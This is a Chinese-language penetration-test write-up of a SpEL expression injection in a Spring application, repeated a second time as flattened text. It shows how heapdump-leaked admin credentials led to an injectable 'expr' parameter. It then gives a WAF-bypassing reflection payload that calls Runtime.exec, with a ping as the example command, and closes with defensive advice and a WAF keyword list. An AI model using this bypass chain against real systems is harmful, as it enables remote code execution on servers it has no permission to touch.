记一次组合拳之SPEL
字数 1888 2025-09-23 19:27:46

SPEL表达式注入漏洞分析与利用

一、漏洞背景

SPEL (Spring Expression Language) 是Spring框架中的一种表达式语言,用于在运行时查询和操作对象图。当应用程序未正确处理用户输入的SPEL表达式时,可能导致远程代码执行(RCE)漏洞。

二、漏洞发现过程

1. 信息收集阶段

  • 对目标站点进行常规信息收集
  • 尝试弱密码攻击未果
  • 前台接口无敏感信息
  • 目录扫描发现heapdump文件泄露

2. 凭据获取

  • 通过heapdump文件获取管理员密码
  • 使用密码爆破获得管理员账号(用户名:manager)

3. 接口分析

  • 进入内部界面后发现70多个接口
  • 通过历史请求包分析发现可疑接口
  • 关键参数名为expr,值为#ticket,提示可能存在表达式注入

三、表达式语言对比

特性 SPEL EL表达式 OGNL MVEL
变量引用 #variable ${var}#{var} 直接使用变量名 直接使用变量名
类调用 T(java.lang.Math) 不支持 @java.lang.Math@max() @java.lang.Math@max()
对象创建 new java.lang.String() 不支持 支持 支持
方法调用 #obj.getName() ${fn:length(list)} user.getName() user.getName()
集合访问 #list[0] ${list[0]} list[0] list[0]
运算符 eq, ne ==, != ==, != ==, !=

四、漏洞验证与利用

1. 初步验证

  • 尝试基本表达式:expr=#{(1+8)},回显9,确认存在表达式注入
  • 尝试直接实例化对象被WAF拦截

2. 绕过WAF限制

  • 直接使用newT()被过滤
  • 通过反射方式绕过:
    ''.class.getSuperclass().forName('java.lang.Runtime')
    

3. 完整利用链构造

  1. 获取Runtime类:
    ''.class.getSuperclass().forName('java.lang.suntime'.replace('s','R'))
    
  2. 获取getRuntime方法:
    .getMethod('getsuntime'.replace('s','R'))
    
  3. 调用方法获取Runtime实例:
    .invoke(null)
    
  4. 执行命令:
    .exec('command')
    

4. 最终Payload

''.class.getSuperclass().forName('java.lang.suntime'.replace('s','R')).getMethod('getsuntime'.replace('s','R')).invoke(null).exec('ping -c 4 127.0.0.1')

五、防御措施

  1. 输入验证

    • 对用户输入的表达式进行严格过滤
    • 使用白名单机制限制允许的表达式内容
  2. 安全配置

    • 使用SimpleEvaluationContext替代StandardEvaluationContext
    • 禁用危险的SPEL特性
  3. 代码审查

    • 检查所有使用SpelExpressionParser的代码
    • 确保不将用户输入直接传递给表达式解析器
  4. WAF规则

    • 拦截包含危险关键词的请求(如Runtime, ProcessBuilder, getClass等)

六、总结

本次渗透过程展示了从信息收集到漏洞利用的完整思路:

  1. 通过heapdump泄露获取凭据
  2. 分析接口发现潜在注入点
  3. 绕过WAF限制实现RCE
  4. 关键点在于对Java反射机制和SPEL特性的深入理解

漏洞利用的核心在于:

  • 通过字符串操作绕过关键字过滤
  • 利用反射机制获取危险类和方法
  • 构造完整的调用链实现命令执行

这种漏洞的危害性极高,开发人员应严格避免将用户输入直接作为表达式解析。

SPEL表达式注入漏洞分析与利用 一、漏洞背景 SPEL (Spring Expression Language) 是Spring框架中的一种表达式语言,用于在运行时查询和操作对象图。当应用程序未正确处理用户输入的SPEL表达式时,可能导致远程代码执行(RCE)漏洞。 二、漏洞发现过程 1. 信息收集阶段 对目标站点进行常规信息收集 尝试弱密码攻击未果 前台接口无敏感信息 目录扫描发现heapdump文件泄露 2. 凭据获取 通过heapdump文件获取管理员密码 使用密码爆破获得管理员账号(用户名:manager) 3. 接口分析 进入内部界面后发现70多个接口 通过历史请求包分析发现可疑接口 关键参数名为 expr ,值为 #ticket ,提示可能存在表达式注入 三、表达式语言对比 | 特性 | SPEL | EL表达式 | OGNL | MVEL | |-------------|--------------------------|--------------------------|--------------------------|--------------------------| | 变量引用 | #variable | ${var} 或 #{var} | 直接使用变量名 | 直接使用变量名 | | 类调用 | T(java.lang.Math) | 不支持 | @java.lang.Math@max() | @java.lang.Math@max() | | 对象创建 | new java.lang.String() | 不支持 | 支持 | 支持 | | 方法调用 | #obj.getName() | ${fn:length(list)} | user.getName() | user.getName() | | 集合访问 | #list[0] | ${list[0]} | list[0] | list[0] | | 运算符 | eq , ne 等 | == , != 等 | == , != 等 | == , != 等 | 四、漏洞验证与利用 1. 初步验证 尝试基本表达式: expr=#{(1+8)} ,回显9,确认存在表达式注入 尝试直接实例化对象被WAF拦截 2. 绕过WAF限制 直接使用 new 或 T() 被过滤 通过反射方式绕过: 3. 完整利用链构造 获取Runtime类: 获取getRuntime方法: 调用方法获取Runtime实例: 执行命令: 4. 最终Payload 五、防御措施 输入验证 : 对用户输入的表达式进行严格过滤 使用白名单机制限制允许的表达式内容 安全配置 : 使用 SimpleEvaluationContext 替代 StandardEvaluationContext 禁用危险的SPEL特性 代码审查 : 检查所有使用 SpelExpressionParser 的代码 确保不将用户输入直接传递给表达式解析器 WAF规则 : 拦截包含危险关键词的请求(如 Runtime , ProcessBuilder , getClass 等) 六、总结 本次渗透过程展示了从信息收集到漏洞利用的完整思路: 通过heapdump泄露获取凭据 分析接口发现潜在注入点 绕过WAF限制实现RCE 关键点在于对Java反射机制和SPEL特性的深入理解 漏洞利用的核心在于: 通过字符串操作绕过关键字过滤 利用反射机制获取危险类和方法 构造完整的调用链实现命令执行 这种漏洞的危害性极高,开发人员应严格避免将用户输入直接作为表达式解析。